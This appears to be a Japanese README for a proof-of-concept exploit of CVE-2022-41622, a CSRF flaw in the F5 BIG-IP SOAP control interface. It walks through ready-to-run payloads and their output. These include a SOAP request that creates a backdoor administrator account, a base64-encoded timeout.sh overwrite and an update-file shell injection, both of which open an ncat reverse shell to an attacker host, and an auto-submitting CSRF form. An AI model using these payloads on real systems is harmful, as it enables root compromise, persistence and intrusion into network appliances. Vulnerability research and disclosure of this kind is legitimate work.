
CVE-2022-41622 の PoC エクスプロイト - F5 BIG-IP コントロールプレーンにおける CSRF により、リモートで root 権限を取得できる
これは、F5 Big-IP の CSRF によりリモートコード実行を引き起こす CVE-2022-41622 の概念実証です。使い方は少し煩わしいですが、お気に入りのユースケースを順に説明します。
中核となる脆弱性は、F5 Big-IP の SOAP インターフェースにおけるクロスサイトリクエストフォージェリです。このインターフェースは /iControl/iControlPortal.cgi を介してアクセスされ、root として実行されます。しかし、root であっても SELinux ポリシーによって制限されるため、悪用は困難です。ただし、以下でいくつかのバイパスを紹介します。
SOAP インターフェースには CSRF 対策がないため、攻撃者は認証済みユーザーのセッションを利用して、サポートされている任意の SOAP リクエストを実行できます。WSDL ファイルの完全なリストが含まれており、重要なものの一部に対するペイロードも作成しています。
基本的な使い方は次のとおりです。
ruby f5-soap-exploit.rb <target> <xml_template> [username:password]
username:password はテスト専用です。有効な管理者アカウントを取得し、SOAP リクエストをサーバーに直接送信します。これはまったくエクスプロイトや PoC ではなく、単にエンドポイントを意図どおりに使用しているだけです。
username:password を指定しない場合、CSRF ペイロードが出力されます。このバグを悪用するには、認証済みの管理者がそのペイロードを含むサイトを訪問する必要があります。管理者のブラウザはリダイレクトされ、アクションがバックグラウンドで実行されます。
実際のペイロードは見栄えが良くもなく、隠蔽もされていません。実際に悪用するには、おそらくそれなりの労力をかける必要があります。
ここでは実際のアカウントを使って説明しますが、これらのいずれも CSRF を使って悪用できることを忘れないでください。
これはおそらく最も悪用しやすいものです。パスワード付きのユーザーアカウントを追加し、そのパスワードで SSH ログインできます。もちろん、目立つのも難点です。
(ペイロード内のデフォルトパスワードは Password1 です)
$ ruby ./f5-soap-exploit.rb 10.0.0.162 ./templates/add_user.xml admin:Password1
NOTE: You've provided a username and password, which means this is going
to authenticate, and therefore isn't an exploit
Don't enter a username:password if you want to generate a CSRF exploit!
Value for USERNAME [rontest]: mybackdoor
Value for FULLNAME [Ron Test]: My Backdoor
Value for CRYPTSHA512HASH [$6$T2mT4PeYSuyg/hSr$y/rN9tol5t1fRxTBqFVtxLzRfUBXt16yNahqYTaVVZa3PITfoAKBnuzqvwBT77qNBV4JjgwdhzqmsMk78bo6d0]:
Sending the following payload directly to 10.0.0.162...
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:user="urn:iControl:Management/UserManagement" xmlns:so
apenc="http://schemas.xmlsoap.org/soap/encoding/">
<soapenv:Header/>
<soapenv:Body>
<user:create_user_3 soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<users xsi:type="urn:Management.UserManagement.UserInfo3Sequence" soapenc:arrayType="urn:Management.UserManagement.UserInfo3[]" xmlns:urn="urn:iControl">
<item>
<user>
<name>mybackdoor</name>
<full_name>My Backdoor</full_name>
</user>
<password>
<is_encrypted>true</is_encrypted>
<password>$6$T2mT4PeYSuyg/hSr$y/rN9tol5t1fRxTBqFVtxLzRfUBXt16yNahqYTaVVZa3PITfoAKBnuzqvwBT77qNBV4JjgwdhzqmsMk78bo6d0</password>
</password>
<permissions>
<item>
<role>USER_ROLE_ADMINISTRATOR</role>
<partition>[All]</partition>
</item>
</permissions>
<login_shell>/bin/bash</login_shell>
</item>
</users>
</user:create_user_3>
</soapenv:Body>
</soapenv:Envelope>
Response:
<E:Envelope
xmlns:E="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:A="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:s="http://www.w3.org/2001/XMLSchema-instance"
xmlns:y="http://www.w3.org/2001/XMLSchema"
xmlns:iControl="urn:iControl"
E:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<E:Body>
<m:create_user_3Response
xmlns:m="urn:iControl:Management/UserManagement"></m:create_user_3Response>
</E:Body>
</E:Envelope>
$ ssh [email protected]
([email protected]) Password:
([email protected]) You are required to change your password immediately (root enforced)
[...]
[mybackdoor@localhost:NO LICENSE:Standalone] ~ # whoami
root
SELinux の対象外である /etc/profile.d 内のシンボリックリンクを見つけました。
# ls -l /etc/profile.d/timeout.sh
lrwxrwxrwx. 1 root root 31 Jul 15 02:48 /etc/profile.d/timeout.sh -> ../../var/run/config/timeout.sh
timeout.sh は置き換え可能で、次回ユーザーがログインしたときに、その中のコードが実行されます。timeout.sh を上書きすると問題が発生する可能性があることに注意してください。このファイルが本来何をするものなのかは不明です(ただし、再起動時に復元されます)。
timeout.sh を次の内容で置き換えます。基本的には、元の timeout.sh を復元してからシェルを起動します(この内容は examples/ フォルダにもあります)。
# Restore the original file
echo 'IwojIFRISVMgSVMgQU4gQVVUTy1HRU5FUkFURUQgRklMRSAtIERPIE5PVCBFRElUISEhCiMKIyBVc2UgdGhlIHRtc2ggc2hlbGwgdXRpbGl0eSB0byBtYWtlIGNoYW5nZXMgdG8gdGhlIHN5c3RlbSBjb25maWd1cmF0aW9uLgojIEZvciBtb3JlIGluZm9ybWF0aW9uLCBzZWUgdG1zaCAtYSBoZWxwIHN5cyBzc2hkLgpQU09VVD1gL2Jpbi9wcyAtLW5vLWhlYWRlcnMgLW8gdHR5IC0kJGAKaWYgWyAiJHtQU09VVDowOjN9IiA9PSAidHR5IiBdOyB0aGVuCiAgICBleHBvcnQgVE1PVVQ9MAplbHNlCiAgICBleHBvcnQgVE1PVVQ9MApmaQoK' | base64 -d > /etc/profile.d/timeout.sh
# Pop a shell
ncat -e /bin/bash 10.0.0.179 4444
以下がリクエスト / レスポンスです。
$ base64 -w0 < examples/timeout.sh
IyBSZXN0b3JlIHRoZSBvcmlnaW5hbCBmaWxlCmVjaG8gJ0l3b2pJRlJJU1ZNZ1NWTWdRVTRnUVZWVVR5MUhSVTVGVWtGVVJVUWdSa2xNUlNBdElFUlBJRTVQVkNCRlJFbFVJU0VoQ2lNS0l5QlZjMlVnZEdobElIUnRjMmdnYzJobGJHd2dkWFJwYkdsMGVTQjBieUJ0WVd0bElHTm9ZVzVuWlhNZ2RHOGdkR2hsSUhONWMzUmxiU0JqYjI1bWFXZDFjbUYwYVc5dUxnb2pJRVp2Y2lCdGIzSmxJR2x1Wm05eWJXRjBhVzl1TENCelpXVWdkRzF6YUNBdFlTQm9aV3h3SUhONWN5QnpjMmhrTGdwUVUwOVZWRDFnTDJKcGJpOXdjeUF0TFc1dkxXaGxZV1JsY25NZ0xXOGdkSFI1SUMwa0pHQUthV1lnV3lBaUpIdFFVMDlWVkRvd09qTjlJaUE5UFNBaWRIUjVJaUJkT3lCMGFHVnVDaUFnSUNCbGVIQnZjblFnVkUxUFZWUTlNQXBsYkhObENpQWdJQ0JsZUhCdmNuUWdWRTFQVlZROU1BcG1hUW9LJyB8IGJhc2U2NCAtZCA+IC92YXIvcnVuL2NvbmZpZy90aW1lb3V0LnNoCgojIFBvcCBhIHNoZWxsCm5jYXQgLWUgL2Jpbi9iYXNoIDEwLjAuMC4xNzkgNDQ0NAo=
$ ruby ./f5-soap-exploit.rb 10.0.0.162 ./templates/upload_file.xml admin:Password1
NOTE: You've provided a username and password, which means this is going
to authenticate, and therefore isn't an exploit
Don't enter a username:password if you want to generate a CSRF exploit!
Value for FILENAME [/tmp/csrfdemo.txt]: /var/run/config/timeout.sh
Value for BASE64FILEDATA [SGVsbG8gd29ybGQh]: IyBSZXN0b3JlIHRoZSBvcmlnaW5hbCBmaWxlCmVjaG8gJ0l3b2pJRlJJU1ZNZ1NWTWdRVTRnUVZWVVR5MUhSVTVGVWtGVVJVUWdSa2xNUlNBdElFUlBJRTVQVkNCRlJFbFVJU0VoQ2lNS0l5QlZjMlVnZEdobElIUnRjMmdnYzJobGJHd2dkWFJwYkdsMGVTQjBieUJ0WVd0bElHTm9ZVzVuWlhNZ2RHOGdkR2hsSUhONWMzUmxiU0JqYjI1bWFXZDFjbUYwYVc5dUxnb2pJRVp2Y2lCdGIzSmxJR2x1Wm05eWJXRjBhVzl1TENCelpXVWdkRzF6YUNBdFlTQm9aV3h3SUhONWN5QnpjMmhrTGdwUVUwOVZWRDFnTDJKcGJpOXdjeUF0TFc1dkxXaGxZV1JsY25NZ0xXOGdkSFI1SUMwa0pHQUthV1lnV3lBaUpIdFFVMDlWVkRvd09qTjlJaUE5UFNBaWRIUjVJaUJkT3lCMGFHVnVDaUFnSUNCbGVIQnZjblFnVkUxUFZWUTlNQXBsYkhObENpQWdJQ0JsZUhCdmNuUWdWRTFQVlZROU1BcG1hUW9LJyB8IGJhc2U2NCAtZCA+IC92YXIvcnVuL2NvbmZpZy90aW1lb3V0LnNoCgojIFBvcCBhIHNoZWxsCm5jYXQgLWUgL2Jpbi9iYXNoIDEwLjAuMC4xNzkgNDQ0NAo=
Sending the following payload directly to 10.0.0.162...
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:con="urn:iControl:System/ConfigSync">
<soapenv:Header/>
<soapenv:Body>
<con:upload_file soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<file_name xsi:type="xsd:string">/var/run/config/timeout.sh</file_name>
<file_context xsi:type="urn:System.ConfigSync.FileTransferContext" xmlns:urn="urn:iControl">
<!--type: Common.OctetSequence-->
<file_data xsi:type="urn:Common.OctetSequence">IyBSZXN0b3JlIHRoZSBvcmlnaW5hbCBmaWxlCmVjaG8gJ0l3b2pJRlJJU1ZNZ1NWTWdRVTRnUVZWVVR5MUhSVTVGVWtGVVJVUWdSa2xNUlNBdElFUlBJRTVQVkNCRlJFbFVJU0VoQ2lNS0l5QlZjMlVnZEdobElIUnRjMmdnYzJobGJHd2dkWFJwYkdsMGVTQjBieUJ0WVd0bElHTm9ZVzVuWlhNZ2RHOGdkR2hsSUhONWMzUmxiU0JqYjI1bWFXZDFjbUYwYVc5dUxnb2pJRVp2Y2lCdGIzSmxJR2x1Wm05eWJXRjBhVzl1TENCelpXVWdkRzF6YUNBdFlTQm9aV3h3SUhONWN5QnpjMmhrTGdwUVUwOVZWRDFnTDJKcGJpOXdjeUF0TFc1dkxXaGxZV1JsY25NZ0xXOGdkSFI1SUMwa0pHQUthV1lnV3lBaUpIdFFVMDlWVkRvd09qTjlJaUE5UFNBaWRIUjVJaUJkT3lCMGFHVnVDaUFnSUNCbGVIQnZjblFnVkUxUFZWUTlNQXBsYkhObENpQWdJQ0JsZUhCdmNuUWdWRTFQVlZROU1BcG1hUW9LJyB8IGJhc2U2NCAtZCA+IC92YXIvcnVuL2NvbmZpZy90aW1lb3V0LnNoCgojIFBvcCBhIHNoZWxsCm5jYXQgLWUgL2Jpbi9iYXNoIDEwLjAuMC4xNzkgNDQ0NAo=</file_data>
<chain_type xsi:type="urn:Common.FileChainType">FILE_FIRST_AND_LAST</chain_type>
</file_context>
</con:upload_file>
</soapenv:Body>
</soapenv:Envelope>
Response:
<E:Envelope
xmlns:E="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:A="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:s="http://www.w3.org/2001/XMLSchema-instance"
xmlns:y="http://www.w3.org/2001/XMLSchema"
xmlns:iControl="urn:iControl"
E:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<E:Body>
<m:upload_fileResponse
xmlns:m="urn:iControl:System/ConfigSync"></m:upload_fileResponse>
</E:Body>
</E:Envelope>
その後、リスナーを起動し、誰かがログインするのを待ってからシェルを取得します。
$ nc -v -l -p 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
[..... wait .....]
Ncat: Connection from 10.0.0.162.
Ncat: Connection from 10.0.0.162:38588.
whoami
root
再起動時に root(かつ SELinux の制限なし)で実行される f5_update_checker というツールに、シェルインジェクションの脆弱性を見つけました。適切な形式の更新ファイルと、2 行目にシェルインジェクションのペイロードを記述したファイル /shared/f5_update_action を作成すると、サーバーの次回起動から 2 分後に実行され、その後削除されます。
これは持続性のための優れたバックドアになります。:)
以下はその例です(examples/ フォルダにもあります)。
AAA
https://localhost/success`ncat -e /bin/bash 10.0.0.179 4444`
https://localhost/error
0
0
0
0
base64 でエンコードし、upload_file.xml テンプレートを使ってアップロードします。
$ base64 -w0 < examples/f5_update_action
QUFBCmh0dHBzOi8vbG9jYWxob3N0L3N1Y2Nlc3NgbmNhdCAtZSAvYmluL2Jhc2ggMTAuMC4wLjE3OSA0NDQ0YApodHRwczovL2xvY2FsaG9zdC9lcnJvcgowCjAKMAowCg==
$ ruby ./f5-soap-exploit.rb 10.0.0.162 ./templates/upload_file.xml admin:Password1
NOTE: You've provided a username and password, which means this is going
to authenticate, and therefore isn't an exploit
Don't enter a username:password if you want to generate a CSRF exploit!
Value for FILENAME [/tmp/csrfdemo.txt]: /shared/f5_update_action
Value for BASE64FILEDATA [SGVsbG8gd29ybGQh]: QUFBCmh0dHBzOi8vbG9jYWxob3N0L3N1Y2Nlc3NgbmNhdCAtZSAvYmluL2Jhc2ggMTAuMC4wLjE3OSA0NDQ0YApodHRwczovL2xvY2FsaG9zdC9lcnJvcgowCjAKMAowCg==
Sending the following payload directly to 10.0.0.162...
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:con="urn:iControl:System/ConfigSync">
<soapenv:Header/>
<soapenv:Body>
<con:upload_file soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<file_name xsi:type="xsd:string">/shared/f5_update_action</file_name>
<file_context xsi:type="urn:System.ConfigSync.FileTransferContext" xmlns:urn="urn:iControl">
<!--type: Common.OctetSequence-->
<file_data xsi:type="urn:Common.OctetSequence">QUFBCmh0dHBzOi8vbG9jYWxob3N0L3N1Y2Nlc3NgbmNhdCAtZSAvYmluL2Jhc2ggMTAuMC4wLjE3OSA0NDQ0YApodHRwczovL2xvY2FsaG9zdC9lcnJvcgowCjAKMAowCg==</file_data>
<chain_type xsi:type="urn:Common.FileChainType">FILE_FIRST_AND_LAST</chain_type>
</file_context>
</con:upload_file>
</soapenv:Body>
</soapenv:Envelope>
Response:
<E:Envelope
xmlns:E="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:A="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:s="http://www.w3.org/2001/XMLSchema-instance"
xmlns:y="http://www.w3.org/2001/XMLSchema"
xmlns:iControl="urn:iControl"
E:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<E:Body>
<m:upload_fileResponse
xmlns:m="urn:iControl:System/ConfigSync"></m:upload_fileResponse>
</E:Body>
</E:Envelope>
リスナーを作成し、再起動を待ちます。
ron@fedora ~ $ nc -v -l -p 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
[...... wait ......]
Ncat: Connection from 10.0.0.162.
Ncat: Connection from 10.0.0.162:55634.
whoami
root
再起動後に /var/log/f5_update_checker.out を tail して、正常に動作したことを確認できます(当然ですが、これは既にホストにアクセスできる場合にのみ機能します)。
# cat /var/log/f5_update_checker.out
[Wed Oct 19 10:47:32 2022] f5em_callback [INFO]: EM callback utility started
[Wed Oct 19 10:47:32 2022] f5em_callback [INFO]: Searching for EM callback file "/shared/f5_update_action"
[Wed Oct 19 10:47:32 2022] f5em_callback [INFO]: EM callback file found -- parsing
[Wed Oct 19 10:47:32 2022] f5em_callback [INFO]: EM callback file action: "AAA"
[Wed Oct 19 10:47:32 2022] f5em_callback [INFO]: EM callback file success URL: "https://localhost/success`ncat -e /bin/bash 10.0.0.179 4444`"
[Wed Oct 19 10:47:32 2022] f5em_callback [INFO]: EM callback file failure URL: "https://localhost/error"
[Wed Oct 19 10:47:32 2022] f5em_callback [INFO]: EM callback file rebootOnSuccess flag: "8"
[Wed Oct 19 10:47:32 2022] f5em_callback [INFO]: EM callback file rebootOnSuccess slot: "0"
[Wed Oct 19 10:47:32 2022] f5em_callback [INFO]: EM callback file rebootOnFailure flag: "0"
[Wed Oct 19 10:47:32 2022] f5em_callback [INFO]: EM callback file rebootOnFailure slot: "0"
[Wed Oct 19 10:47:32 2022] f5em_callback [INFO]: Executing EM action: AAA
[Wed Oct 19 10:47:32 2022] f5em_callback [INFO]: Sleeping for 2 minutes before first attempt.
これまでの例では、アカウントを使って SOAP エンドポイントを実行する方法を示しましたが、これは実際にはエクスプロイトではありません。CSRF ペイロードがどのようなものか見てみましょう。
上記と同じユーザー追加の例を、アカウントなしで使用します。
$ ruby ./f5-soap-exploit.rb 10.0.0.162 ./templates/add_user.xml > examples/csrf-adduser-payload.html
Value for USERNAME [rontest]: csrfdemo2
Value for FULLNAME [Ron Test]: CSRF Demo
Value for CRYPTSHA512HASH [$6$T2mT4PeYSuyg/hSr$y/rN9tol5t1fRxTBqFVtxLzRfUBXt16yNahqYTaVVZa3PITfoAKBnuzqvwBT77qNBV4JjgwdhzqmsMk78bo6d0]:
$ cat examples/csrf-adduser-payload.html
<form id="form" method="post" action="https://10.0.0.162/iControl/iControlPortal.cgi" enctype="text/plain">
<textarea id="payload" name="<!--">--><soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:user="urn:iControl:Management/UserManagement" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">
<soapenv:Header/>
<soapenv:Body>
<user:create_user_3 soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<users xsi:type="urn:Management.UserManagement.UserInfo3Sequence" soapenc:arrayType="urn:Management.UserManagement.UserInfo3[]" xmlns:urn="urn:iControl">
<item>
<user>
<name>csrfdemo2</name>
<full_name>CSRF Demo</full_name>
</user>
<password>
<is_encrypted>true</is_encrypted>
<password>$6$T2mT4PeYSuyg/hSr$y/rN9tol5t1fRxTBqFVtxLzRfUBXt16yNahqYTaVVZa3PITfoAKBnuzqvwBT77qNBV4JjgwdhzqmsMk78bo6d0</password>
</password>
<permissions>
<item>
<role>USER_ROLE_ADMINISTRATOR</role>
<partition>[All]</partition>
</item>
</permissions>
<login_shell>/bin/bash</login_shell>
</item>
</users>
</user:create_user_3>
</soapenv:Body>
</soapenv:Envelope>
</textarea>
<input type=submit>
</form>
<script>
setTimeout(function() {
document.getElementById("form").submit();
}, 1000);
</script>
その HTML ファイルをどこかで配信し、管理者にリンクを送信します。管理者がそのリンクを訪問すると、ブラウザがリダイレクトされ、典型的な CSRF ペイロードを使って SOAP API にアクセスします。
$ python -m http.server -d examples/
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
[..... waiting .....]
127.0.0.1 - - [19/Oct/2022 11:07:57] "GET /csrf-adduser-payload.html HTTP/1.1" 200 -
127.0.0.1 - - [19/Oct/2022 11:07:58] code 404, message File not found
127.0.0.1 - - [19/Oct/2022 11:07:58] "GET /favicon.ico HTTP/1.1" 404 -
^C
$ ssh [email protected]
([email protected]) Password:
([email protected]) You are required to change your password immediately (root enforced)
Changing password for csrfdemo2.
(current) BIG-IP password:
([email protected]) New BIG-IP password:
([email protected]) Retype new BIG-IP password:
Last login: Wed Oct 19 11:00:43 2022 from 10.0.0.179
[csrfdemo2@localhost:NO LICENSE:Standalone] ~ # whoami
root
これは明らかに隠蔽を一切試みていません。CSRF ペイロードは大幅に改良できるでしょう。